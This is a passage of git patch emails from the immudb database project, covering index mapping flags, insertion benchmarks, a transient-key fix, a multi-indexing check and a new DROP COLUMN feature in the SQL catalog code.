indexEntryMapperFor(index, primaryIndex), TargetPrefix: mappedEntryPrefix, + + InjectiveMapping: true, }) if errors.Is(err, store.ErrIndexAlreadyInitialized) { continue diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 4f71127488..0f3a49ed75 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -809,6 +809,8 @@ type IndexSpec struct { TargetEntryMapper EntryMapper TargetPrefix []byte + InjectiveMapping bool + InitialTxID uint64 FinalTxID uint64 InitialTs int64 diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index e1d89f6df1..40070ce99e 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -570,7 +570,7 @@ func (idx *indexer) indexSince(txID uint64) error { indexableEntries++ - if txID > 1 { + if idx.spec.InjectiveMapping && txID > 1 { // wait for source indexer to be up to date sourceIndexer, err := idx.store.getIndexerFor(sourceKey) if errors.Is(err, ErrIndexNotFound) { From d5c1a5bc6b3751accacb05428199f56659428c01 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 14 Sep 2023 11:12:59 +0200 Subject: [PATCH 0781/1062] chore(embedded/sql): insertion benchmark Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 15 ++++----------- embedded/store/indexer.go | 2 +- 2 files changed, 5 insertions(+), 12 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 1be032ba9d..7ab9be00c3 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -6597,17 +6597,10 @@ func BenchmarkInsertInto(b *testing.B) { b.Fail() } - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1;", nil) - if err != nil { - b.Fail() - } - - _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1;", nil) - if err != nil { - b.Fail() - } - - _, ctxs, err := engine.Exec(context.Background(), nil, "CREATE TABLE mytable1(id VARCHAR[30], title VARCHAR[50], PRIMARY KEY id);", nil) + _, ctxs, err := engine.Exec(context.Background(), nil, ` + CREATE TABLE mytable1(id VARCHAR[30], title VARCHAR[50], PRIMARY KEY id); + CREATE INDEX ON mytable1(title); + `, nil) if err != nil { b.Fail() } diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 40070ce99e..2380eb8d8d 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -579,7 +579,7 @@ func (idx *indexer) indexSince(txID uint64) error { return err } - err = sourceIndexer.WaitForIndexingUpto(ctx, txID-1) + err = sourceIndexer.WaitForIndexingUpto(context.Background(), txID-1) if err != nil { return err } From a1a701507457f1226dbb528874dcb6acd9e69a29 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 14 Sep 2023 15:19:55 +0200 Subject: [PATCH 0782/1062] fix(embedded/store): handle transient key update Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 0e4328ad5d..04d757d7a1 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -292,7 +292,11 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh } if isKeyUpdate { - tx.entries[keyRef] = e + if isTransient { + tx.transientEntries[keyRef] = e + } else { + tx.entries[keyRef] = e + } } else { if isTransient { From 5852abeff0e5f30694efeef118792b7e1947610e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 14 Sep 2023 16:39:12 +0200 Subject: [PATCH 0783/1062] fix(embedded/document): ensure multi-indexing is enabled Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 69 +++++++++++++++++++++++++++++++- embedded/sql/engine.go | 4 ++ embedded/store/immustore.go | 9 +++++ embedded/store/indexer.go | 5 --- 4 files changed, 81 insertions(+), 6 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index b9150d7ed6..f6053093a8 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -18,6 +18,7 @@ package document import ( "context" "fmt" + "sync" "testing" "github.com/codenotary/immudb/embedded/store" @@ -26,6 +27,8 @@ import ( "google.golang.org/protobuf/types/known/structpb" ) +var docPrefix = []byte{3} + func makeEngine(t *testing.T) *Engine { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) @@ -38,7 +41,7 @@ func makeEngine(t *testing.T) *Engine { } }) - engine, err := NewEngine(st, DefaultOptions()) + engine, err := NewEngine(st, DefaultOptions().WithPrefix(docPrefix)) require.NoError(t, err) err = engine.CopyCatalogToTx(context.Background(), nil) @@ -1852,3 +1855,67 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { } }) } + +func BenchmarkInsertion(b *testing.B) { + stOpts := store.DefaultOptions(). + WithMultiIndexing(true). + WithMaxConcurrency(100) + + st, err := store.Open(b.TempDir(), stOpts) + require.NoError(b, err) + + defer func() { + err := st.Close() + if !b.Failed() { + // Do not pollute error output if test has already failed + require.NoError(b, err) + } + }() + + engine, err := NewEngine(st, DefaultOptions().WithPrefix(docPrefix)) + require.NoError(b, err) + + collectionName := "mycollection" + + err = engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_DOUBLE}, + {Name: "age", Type: protomodel.FieldType_DOUBLE}, + }, + []*protomodel.Index{ + {Fields: []string{"number", "age"}}, + }, + ) + require.NoError(b, err) + + b.ResetTimer() + + noOfWorkers := 100 + noOfDocs := 10 + + for it := 0; it < 1; it++ { + var wg sync.WaitGroup + wg.Add(noOfWorkers) + + for w := 0; w < noOfWorkers; w++ { + go func(w int) { + for i := 1; i <= noOfDocs; i++ { + _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "number": structpb.NewNumberValue(float64(w*noOfDocs + i)), + }, + }) + if err != nil { + b.Fail() + } + } + wg.Done() + }(w) + } + + wg.Wait() + } +} diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 7760408842..c9133d6381 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -118,6 +118,10 @@ func NewEngine(st *store.ImmuStore, opts *Options) (*Engine, error) { return nil, ErrIllegalArguments } + if !st.MultiIndexingEnabled() { + return nil, fmt.Errorf("%w: multi-indexing must be enabled", ErrIllegalArguments) + } + err := opts.Validate() if err != nil { return nil, err diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 0f3a49ed75..717e29c2aa 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1044,6 +1044,10 @@ func (s *ImmuStore) History(key []byte, offset uint64, descOrder bool, limit int return valRefs, hCount, nil } +func (s *ImmuStore) MultiIndexingEnabled() bool { + return s.multiIndexing +} + func (s *ImmuStore) UseTimeFunc(timeFunc TimeFunc) error { if timeFunc == nil { return ErrIllegalArguments @@ -1125,6 +1129,11 @@ func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context return nil, err } + err = indexer.WaitForIndexingUpto(ctx, txID) + if err != nil { + return nil, err + } + snap, err := indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, txID, renewalPeriod) if err != nil { return nil, err diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 2380eb8d8d..ed3dcfaf33 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -250,11 +250,6 @@ func (idx *indexer) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context return nil, ErrAlreadyClosed } - err := idx.WaitForIndexingUpto(ctx, txID) - if err != nil { - return nil, err - } - return idx.index.SnapshotMustIncludeTsWithRenewalPeriod(txID, renewalPeriod) } From 0820e807b7add1d08f3f49de59d09ff00431f70a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 14 Sep 2023 18:35:54 +0200 Subject: [PATCH 0784/1062] test(embedded/sql): test ensure multi-indexing is enabled Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog_test.go | 2 +- embedded/sql/dummy_data_source_test.go | 15 +++++++++++++++ embedded/sql/grouped_row_reader_test.go | 12 +++++++----- embedded/sql/joint_row_reader_test.go | 12 +++++++----- 4 files changed, 30 insertions(+), 11 deletions(-) diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index cb0369f9cd..6469a4c157 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -137,7 +137,7 @@ func TestEncodeRawValueAsKey(t *testing.T) { } func TestCatalogTableLength(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) diff --git a/embedded/sql/dummy_data_source_test.go b/embedded/sql/dummy_data_source_test.go index c763e1a3cf..8f77a371cc 100644 --- a/embedded/sql/dummy_data_source_test.go +++ b/embedded/sql/dummy_data_source_test.go @@ -1,3 +1,18 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ package sql import "context" diff --git a/embedded/sql/grouped_row_reader_test.go b/embedded/sql/grouped_row_reader_test.go index c22d6887ce..36a9e2c3b2 100644 --- a/embedded/sql/grouped_row_reader_test.go +++ b/embedded/sql/grouped_row_reader_test.go @@ -25,7 +25,7 @@ import ( ) func TestGroupedRowReader(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) @@ -37,13 +37,15 @@ func TestGroupedRowReader(t *testing.T) { tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - table, err := tx.catalog.newTable("table1", []*ColSpec{{colName: "id", colType: IntegerType}}) + _, _, err = engine.Exec(context.Background(), tx, "CREATE TABLE table1(id INTEGER, number INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) - index, err := table.newIndex(true, []uint32{1}) + tx, err = engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - require.NotNil(t, index) - require.Equal(t, table.primaryIndex, index) + + defer tx.Cancel() + + table := tx.catalog.tables[0] r, err := newRawRowReader(tx, nil, table, period{}, "", &ScanSpecs{Index: table.primaryIndex}) require.NoError(t, err) diff --git a/embedded/sql/joint_row_reader_test.go b/embedded/sql/joint_row_reader_test.go index 30e795362b..0f4d2633f5 100644 --- a/embedded/sql/joint_row_reader_test.go +++ b/embedded/sql/joint_row_reader_test.go @@ -26,7 +26,7 @@ import ( ) func TestJointRowReader(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) @@ -38,13 +38,15 @@ func TestJointRowReader(t *testing.T) { tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - table, err := tx.catalog.newTable("table1", []*ColSpec{{colName: "id", colType: IntegerType}, {colName: "number", colType: IntegerType}}) + _, _, err = engine.Exec(context.Background(), tx, "CREATE TABLE table1(id INTEGER, number INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) - index, err := table.newIndex(true, []uint32{1}) + tx, err = engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - require.NotNil(t, index) - require.Equal(t, table.primaryIndex, index) + + defer tx.Cancel() + + table := tx.catalog.tables[0] r, err := newRawRowReader(tx, nil, table, period{}, "", &ScanSpecs{Index: table.primaryIndex}) require.NoError(t, err) From 9a038010f3fc40a41075d3d9f58c7bf125e251ed Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 14 Sep 2023 02:31:39 +0200 Subject: [PATCH 0785/1062] feat(embedded/sql): drop column stmt Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 291 ++++--- embedded/sql/catalog_test.go | 42 +- embedded/sql/engine.go | 4 +- embedded/sql/engine_test.go | 400 ++++++++++ embedded/sql/parser_test.go | 2 +- embedded/sql/row_reader.go | 28 +- embedded/sql/sql_grammar.y | 5 + embedded/sql/sql_parser.go | 591 ++++++++------- embedded/sql/stmt.go | 143 ++-- pkg/api/schema/schema.pb.go | 1266 ++++++++++++++++--------------- pkg/api/schema/schema.proto | 3 + pkg/client/sql.go | 18 +- pkg/client/sql_test.go | 12 +- pkg/database/sql.go | 1 + pkg/integration/sql/sql_test.go | 23 +- 15 files changed, 1731 insertions(+), 1098 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 3bab7f616c..c1d90d0bd1 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -38,7 +38,7 @@ type Catalog struct { tablesByID map[uint32]*Table tablesByName map[string]*Table - tableCount uint32 // The tableCount variable is used to assign unique ids to new tables as they are created. + maxTableID uint32 // The maxTableID variable is used to assign unique ids to new tables as they are created. } type Table struct { @@ -54,9 +54,9 @@ type Table struct { primaryIndex *Index autoIncrementPK bool maxPK int64 - indexCount uint32 - deleted bool + maxColID uint32 + maxIndexID uint32 } type Index struct { @@ -65,8 +65,6 @@ type Index struct { unique bool cols []*Column colsByID map[uint32]*Column - - deleted bool } type Column struct { @@ -82,32 +80,27 @@ type Column struct { func newCatalog(enginePrefix []byte) *Catalog { return &Catalog{ enginePrefix: enginePrefix, - tables: make([]*Table, 0), tablesByID: make(map[uint32]*Table), tablesByName: make(map[string]*Table), } } func (catlg *Catalog) ExistTable(table string) bool { - t, exists := catlg.tablesByName[table] - return exists && !t.deleted + _, exists := catlg.tablesByName[table] + return exists } func (catlg *Catalog) GetTables() []*Table { - var ts []*Table + ts := make([]*Table, 0, len(catlg.tables)) - for _, t := range catlg.tables { - if !t.deleted { - ts = append(ts, t) - } - } + ts = append(ts, catlg.tables...) return ts } func (catlg *Catalog) GetTableByName(name string) (*Table, error) { table, exists := catlg.tablesByName[name] - if !exists || table.deleted { + if !exists { return nil, fmt.Errorf("%w (%s)", ErrTableDoesNotExist, name) } return table, nil @@ -115,7 +108,7 @@ func (catlg *Catalog) GetTableByName(name string) (*Table, error) { func (catlg *Catalog) GetTableByID(id uint32) (*Table, error) { table, exists := catlg.tablesByID[id] - if !exists || table.deleted { + if !exists { return nil, ErrTableDoesNotExist } return table, nil @@ -126,11 +119,21 @@ func (t *Table) ID() uint32 { } func (t *Table) Cols() []*Column { - return t.cols + cs := make([]*Column, 0, len(t.cols)) + + cs = append(cs, t.cols...) + + return cs } func (t *Table) ColsByName() map[string]*Column { - return t.colsByName + cs := make(map[string]*Column, len(t.cols)) + + for _, c := range t.cols { + cs[c.colName] = c + } + + return cs } func (t *Table) Name() string { @@ -142,12 +145,12 @@ func (t *Table) PrimaryIndex() *Index { } func (t *Table) IsIndexed(colName string) (indexed bool, err error) { - c, exists := t.colsByName[colName] - if !exists { - return false, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, colName) + col, err := t.GetColumnByName(colName) + if err != nil { + return false, err } - return len(t.GetIndexesByColID(c.id)) > 0, nil + return len(t.indexesByColID[col.id]) > 0, nil } func (t *Table) GetColumnByName(name string) (*Column, error) { @@ -171,29 +174,25 @@ func (t *Table) ColumnsByID() map[uint32]*Column { } func (t *Table) GetIndexes() []*Index { - var idxs []*Index + idxs := make([]*Index, 0, len(t.indexes)) - for _, idx := range t.indexes { - if !idx.deleted { - idxs = append(idxs, idx) - } - } + idxs = append(idxs, t.indexes...) return idxs } func (t *Table) GetIndexesByColID(colID uint32) []*Index { - var idxs []*Index + idxs := make([]*Index, 0, len(t.indexes)) - for _, idx := range t.indexesByColID[colID] { - if !idx.deleted { - idxs = append(idxs, idx) - } - } + idxs = append(idxs, t.indexesByColID[colID]...) return idxs } +func (t *Table) GetMaxColID() uint32 { + return t.maxColID +} + func (i *Index) IsPrimary() bool { return i.id == PKIndexID } @@ -242,7 +241,7 @@ func (i *Index) ID() uint32 { func (t *Table) GetIndexByName(name string) (*Index, error) { idx, exists := t.indexesByName[name] - if !exists || idx.deleted { + if !exists { return nil, fmt.Errorf("%w (%s)", ErrIndexNotFound, name) } return idx, nil @@ -268,18 +267,24 @@ func indexName(tableName string, cols []*Column) string { return buf.String() } -func (catlg *Catalog) newTable(name string, colsSpec []*ColSpec) (table *Table, err error) { +func (catlg *Catalog) newTable(name string, colsSpec map[uint32]*ColSpec, maxColID uint32) (table *Table, err error) { if len(name) == 0 || len(colsSpec) == 0 { return nil, ErrIllegalArguments } + for id := range colsSpec { + if id <= 0 || id > maxColID { + return nil, ErrIllegalArguments + } + } + exists := catlg.ExistTable(name) if exists { return nil, fmt.Errorf("%w (%s)", ErrTableAlreadyExists, name) } - // Generate a new ID for the table by incrementing the 'tableCount' variable of the 'catalog' instance. - id := (catlg.tableCount + 1) + // Generate a new ID for the table by incrementing the 'maxTableID' variable of the 'catalog' instance. + id := (catlg.maxTableID + 1) // This code is attempting to check if a table with the given id already exists in the Catalog. // If the function returns nil for err, it means that the table already exists and the function @@ -293,14 +298,21 @@ func (catlg *Catalog) newTable(name string, colsSpec []*ColSpec) (table *Table, id: id, catalog: catlg, name: name, - cols: make([]*Column, len(colsSpec)), + cols: make([]*Column, 0, len(colsSpec)), colsByID: make(map[uint32]*Column), colsByName: make(map[string]*Column), indexesByName: make(map[string]*Index), indexesByColID: make(map[uint32][]*Index), + maxColID: maxColID, } - for i, cs := range colsSpec { + for id := uint32(1); id <= maxColID; id++ { + cs, found := colsSpec[id] + if !found { + // dropped column + continue + } + _, colExists := table.colsByName[cs.colName] if colExists { return nil, ErrDuplicatedColumn @@ -314,8 +326,6 @@ func (catlg *Catalog) newTable(name string, colsSpec []*ColSpec) (table *Table, return nil, ErrLimitedMaxLen } - id := len(table.colsByID) + 1 - col := &Column{ id: uint32(id), table: table, @@ -326,7 +336,7 @@ func (catlg *Catalog) newTable(name string, colsSpec []*ColSpec) (table *Table, notNull: cs.notNull, } - table.cols[i] = col + table.cols = append(table.cols, col) table.colsByID[col.id] = col table.colsByName[col.colName] = col } @@ -338,13 +348,29 @@ func (catlg *Catalog) newTable(name string, colsSpec []*ColSpec) (table *Table, // increment table count on successfull table creation. // This ensures that each new table is assigned a unique ID // that has not been used before. - catlg.tableCount += 1 + catlg.maxTableID++ return table, nil } func (catlg *Catalog) deleteTable(table *Table) error { - table.deleted = true + _, exists := catlg.tablesByID[table.id] + if !exists { + return ErrTableDoesNotExist + } + + newTables := make([]*Table, 0, len(catlg.tables)-1) + + for _, t := range catlg.tables { + if t.id != table.id { + newTables = append(newTables, t) + } + } + + catlg.tables = newTables + delete(catlg.tablesByID, table.id) + delete(catlg.tablesByName, table.name) + return nil } @@ -373,7 +399,7 @@ func (t *Table) newIndex(unique bool, colIDs []uint32) (index *Index, err error) } index = &Index{ - id: uint32(t.indexCount), + id: uint32(t.maxIndexID), table: t, unique: unique, cols: cols, @@ -401,7 +427,7 @@ func (t *Table) newIndex(unique bool, colIDs []uint32) (index *Index, err error) // increment table count on successfull table creation. // This ensures that each new table is assigned a unique ID // that has not been used before. - t.indexCount += 1 + t.maxIndexID++ return index, nil } @@ -424,10 +450,10 @@ func (t *Table) newColumn(spec *ColSpec) (*Column, error) { return nil, fmt.Errorf("%w (%s)", ErrColumnAlreadyExists, spec.colName) } - id := len(t.cols) + 1 + t.maxColID++ col := &Column{ - id: uint32(id), + id: t.maxColID, table: t, colName: spec.colName, colType: spec.colType, @@ -466,12 +492,47 @@ func (t *Table) renameColumn(oldName, newName string) (*Column, error) { return col, nil } +func (t *Table) deleteColumn(col *Column) error { + isIndexed, err := t.IsIndexed(col.colName) + if err != nil { + return err + } + + if isIndexed { + return fmt.Errorf("%w (%s)", ErrCantDropIndexedColumn, col.colName) + } + + newCols := make([]*Column, 0, len(t.cols)-1) + + for _, c := range t.cols { + if c.id != col.id { + newCols = append(newCols, c) + } + } + + t.cols = newCols + delete(t.colsByName, col.colName) + delete(t.colsByID, col.id) + + return nil +} + func (t *Table) deleteIndex(index *Index) error { if index.IsPrimary() { return fmt.Errorf("%w: primary key index can NOT be deleted", ErrIllegalArguments) } - index.deleted = true + newIndexes := make([]*Index, 0, len(t.indexes)-1) + + for _, i := range t.indexes { + if i.id != index.id { + newIndexes = append(newIndexes, i) + } + } + + t.indexes = newIndexes + delete(t.indexesByColID, index.id) + delete(t.indexesByName, index.Name()) return nil } @@ -528,8 +589,7 @@ func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { func (catlg *Catalog) load(ctx context.Context, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: MapKey(catlg.enginePrefix, catalogTablePrefix, EncodeID(1)), - Filters: []store.FilterFn{store.IgnoreExpired}, + Prefix: MapKey(catlg.enginePrefix, catalogTablePrefix, EncodeID(1)), } tableReader, err := tx.NewKeyReader(dbReaderSpec) @@ -562,11 +622,11 @@ func (catlg *Catalog) load(ctx context.Context, tx *store.OngoingTx) error { // This implies this is a deleted table and we should not load it. md := vref.KVMetadata() if md != nil && md.Deleted() { - catlg.tableCount += 1 + catlg.maxTableID++ continue } - colSpecs, err := loadColSpecs(ctx, dbID, tableID, tx, catlg.enginePrefix) + colSpecs, maxColID, err := loadColSpecs(ctx, dbID, tableID, tx, catlg.enginePrefix) if err != nil { return err } @@ -576,7 +636,7 @@ func (catlg *Catalog) load(ctx context.Context, tx *store.OngoingTx) error { return err } - table, err := catlg.newTable(string(v), colSpecs) + table, err := catlg.newTable(string(v), colSpecs, maxColID) if err != nil { return err } @@ -614,21 +674,20 @@ func loadMaxPK(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx, table return unmapIndexEntry(table.primaryIndex, sqlPrefix, mkey) } -func loadColSpecs(ctx context.Context, dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { +func loadColSpecs(ctx context.Context, dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs map[uint32]*ColSpec, maxColID uint32, err error) { initialKey := MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) dbReaderSpec := store.KeyReaderSpec{ - Prefix: initialKey, - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + Prefix: initialKey, } colSpecReader, err := tx.NewKeyReader(dbReaderSpec) if err != nil { - return nil, err + return nil, 0, err } defer colSpecReader.Close() - specs = make([]*ColSpec, 0) + specs = make(map[uint32]*ColSpec, 0) for { mkey, vref, err := colSpecReader.Read(ctx) @@ -636,50 +695,59 @@ func loadColSpecs(ctx context.Context, dbID, tableID uint32, tx *store.OngoingTx break } if err != nil { - return nil, err + return nil, 0, err + } + + md := vref.KVMetadata() + if md != nil && md.IsExpirable() { + return nil, 0, ErrBrokenCatalogColSpecExpirable } mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey) if err != nil { - return nil, err + return nil, 0, err } if dbID != mdbID || tableID != mtableID { - return nil, ErrCorruptedData + return nil, 0, ErrCorruptedData + } + + if colID != maxColID+1 { + return nil, 0, fmt.Errorf("%w: table columns not stored sequentially", ErrCorruptedData) + } + + maxColID = colID + + if md != nil && md.Deleted() { + continue } v, err := vref.Resolve() if err != nil { - return nil, err + return nil, 0, err } + if len(v) < 6 { - return nil, ErrCorruptedData + return nil, 0, fmt.Errorf("%w: mismatch on database or table ids", ErrCorruptedData) } - spec := &ColSpec{ + specs[colID] = &ColSpec{ colName: string(v[5:]), colType: colType, maxLen: int(binary.BigEndian.Uint32(v[1:])), autoIncrement: v[0]&autoIncrementFlag != 0, notNull: v[0]&nullableFlag != 0, } - - specs = append(specs, spec) - - if int(colID) != len(specs) { - return nil, ErrCorruptedData - } } - return + return specs, maxColID, nil } func (table *Table) loadIndexes(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx) error { initialKey := MapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(table.id)) idxReaderSpec := store.KeyReaderSpec{ - Prefix: initialKey, - Filters: []store.FilterFn{store.IgnoreExpired}, + Prefix: initialKey, } idxSpecReader, err := tx.NewKeyReader(idxReaderSpec) @@ -703,7 +771,7 @@ func (table *Table) loadIndexes(ctx context.Context, sqlPrefix []byte, tx *store // This implies this is a deleted index and we should not load it. md := vref.KVMetadata() if md != nil && md.Deleted() { - table.indexCount += 1 + table.maxIndexID++ continue } @@ -1207,16 +1275,25 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, return nil, ErrInvalidValue } -func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { +func DecodeValueLength(b []byte) (int, int, error) { if len(b) < EncLenLen { - return nil, 0, ErrCorruptedData + return 0, 0, ErrCorruptedData } vlen := int(binary.BigEndian.Uint32(b[:])) voff := EncLenLen if vlen < 0 || len(b) < voff+vlen { - return nil, 0, ErrCorruptedData + return 0, 0, ErrCorruptedData + } + + return vlen, EncLenLen, nil +} + +func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { + vlen, voff, err := DecodeValueLength(b) + if err != nil { + return nil, 0, err } switch colType { @@ -1286,8 +1363,7 @@ func (t *Table) addIndexesToTx(ctx context.Context, sqlPrefix []byte, tx *store. initialKey := MapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(t.id)) idxReaderSpec := store.KeyReaderSpec{ - Prefix: initialKey, - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + Prefix: initialKey, } idxSpecReader, err := tx.NewKeyReader(idxReaderSpec) @@ -1334,8 +1410,7 @@ func (t *Table) addIndexesToTx(ctx context.Context, sqlPrefix []byte, tx *store. // addSchemaToTx adds the schema of the catalog to the given transaction. func (catlg *Catalog) addSchemaToTx(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: MapKey(sqlPrefix, catalogTablePrefix, EncodeID(1)), - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + Prefix: MapKey(sqlPrefix, catalogTablePrefix, EncodeID(1)), } tableReader, err := tx.NewKeyReader(dbReaderSpec) @@ -1363,7 +1438,7 @@ func (catlg *Catalog) addSchemaToTx(ctx context.Context, sqlPrefix []byte, tx *s } // read col specs into tx - colSpecs, err := addColSpecsToTx(ctx, tx, sqlPrefix, tableID) + colSpecs, maxColID, err := addColSpecsToTx(ctx, tx, sqlPrefix, tableID) if err != nil { return err } @@ -1381,7 +1456,7 @@ func (catlg *Catalog) addSchemaToTx(ctx context.Context, sqlPrefix []byte, tx *s return err } - table, err := catlg.newTable(string(v), colSpecs) + table, err := catlg.newTable(string(v), colSpecs, maxColID) if err != nil { return err } @@ -1402,21 +1477,20 @@ func (catlg *Catalog) addSchemaToTx(ctx context.Context, sqlPrefix []byte, tx *s } // addColSpecsToTx adds the column specs of the given table to the given transaction. -func addColSpecsToTx(ctx context.Context, tx *store.OngoingTx, sqlPrefix []byte, tableID uint32) (specs []*ColSpec, err error) { +func addColSpecsToTx(ctx context.Context, tx *store.OngoingTx, sqlPrefix []byte, tableID uint32) (specs map[uint32]*ColSpec, maxColID uint32, err error) { initialKey := MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(1), EncodeID(tableID)) dbReaderSpec := store.KeyReaderSpec{ - Prefix: initialKey, - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + Prefix: initialKey, } colSpecReader, err := tx.NewKeyReader(dbReaderSpec) if err != nil { - return nil, err + return nil, 0, err } defer colSpecReader.Close() - specs = make([]*ColSpec, 0) + specs = make(map[uint32]*ColSpec, 0) for { mkey, vref, err := colSpecReader.Read(ctx) @@ -1424,45 +1498,54 @@ func addColSpecsToTx(ctx context.Context, tx *store.OngoingTx, sqlPrefix []byte, break } if err != nil { - return nil, err + return nil, 0, err + } + + md := vref.KVMetadata() + if md != nil && md.IsExpirable() { + return nil, 0, ErrBrokenCatalogColSpecExpirable } mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey) if err != nil { - return nil, err + return nil, 0, err } if mdbID != 1 || tableID != mtableID { - return nil, ErrCorruptedData + return nil, 0, ErrCorruptedData + } + + if colID != maxColID+1 { + return nil, 0, fmt.Errorf("%w: table columns not stored sequentially", ErrCorruptedData) + } + + maxColID = colID + + if md != nil && md.Deleted() { + continue } v, err := vref.Resolve() if err != nil { - return nil, err + return nil, 0, err } if len(v) < 6 { - return nil, ErrCorruptedData + return nil, 0, ErrCorruptedData } err = tx.Set(mkey, nil, v) if err != nil { - return nil, err + return nil, 0, err } - spec := &ColSpec{ + specs[colID] = &ColSpec{ colName: string(v[5:]), colType: colType, maxLen: int(binary.BigEndian.Uint32(v[1:])), autoIncrement: v[0]&autoIncrementFlag != 0, notNull: v[0]&nullableFlag != 0, } - - specs = append(specs, spec) - - if int(colID) != len(specs) { - return nil, ErrCorruptedData - } } - return + return specs, maxColID, nil } diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index 6469a4c157..2e5e41c91d 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -40,19 +40,25 @@ func TestFromEmptyCatalog(t *testing.T) { 